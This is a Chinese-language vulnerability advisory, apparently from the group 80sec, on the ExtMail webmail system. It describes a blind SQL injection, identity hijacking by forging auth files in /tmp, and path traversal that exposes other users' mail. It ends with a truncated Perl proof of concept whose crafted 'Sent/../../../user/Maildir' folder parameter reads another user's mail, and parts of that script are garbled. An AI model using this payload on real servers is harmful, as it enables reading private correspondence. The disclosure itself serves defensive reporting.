对Extmail安全漏洞的分析

漏洞说明:ExtMail Project 是一个活跃的开源邮件系统项目,目前由ExtMail 团队维护。该项于2005年9月18日正式启动,最初以WebMail软件为主,至今已逐步形成了ExtMail软件系列。整个项目的目标是开发出高效、 易用、富有生命力的邮件系统(方案),经过粗略的统计,截止2007年6月份,已有超过3000个服务器在运行ExtMail软件,其中有超过1000个 运行在互联网上。Webmail采取perl语言CGI方式编写,国内众多知名站点均使用extmail,譬如 http://mail.csdn.net。80sec在其产品中发现安全漏洞,包括SQL注射,任意用户身份劫持,以及任意信件读取的几个重大安全漏 洞。

漏洞厂商:http://www.extmail.org/

漏洞解析:

1 SQL注射漏洞

程序在处理用户登陆参数的地方没有对SQL注射进行防护,导致可能产生SQL注射漏洞,该处没有回显,但是利用延迟技术,一样可以进行敏感信息获取

2 任意用户身份获取漏洞

程序在处理全局用户参数提交时产生错误,导致匿名用户可以在该会话期间内上传文件到/tmp/目录,而程序的所有认证机制都是依靠/tmp/下的文件来处理的,所以匿名用户可以伪造认证文件来窃取其他的用户身份

3 任意信件读取漏洞

程序依靠文件处理系统来区分各个用户和信件,但是程序在处理个别参数的时候存在安全漏洞,导致用户可以跳出目录进入其他人的目录读取敏感信息如信件。

漏洞状态:80sec已经通知官方,但是到目前没有获得任何回复

漏洞证明:80sec发放任意信件读取漏洞的POC


#!/usr/bin/perl
#Exp for Ext-mail
#Codz By 80sec http://www.80sec.com

use LWP;
my $browser = LWP::UserAgent->new;

$mysid="d9a4c4f05aca535d696f8983a23e42bd";
$mytarget="http://www.80sec.com/";
$user='80sec';

$ARGV[0]&&($user=$ARGV[0]);
open(RESULT,”>>$user.txt”);

for($i=0;;$i ) {
my @headers=(’Cookie’=>”sid=$mysid”,’User-Agent’=>’Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)’,);
$myresponse=$browser->post(”${mytarget}compose.cgi”,['__mode'=>'edit_forward','folder'=>"Sent/../../../${user}/Maildir",'pos'=>"$i"],@headers);
$myecho=$myresponse->content;

相关推荐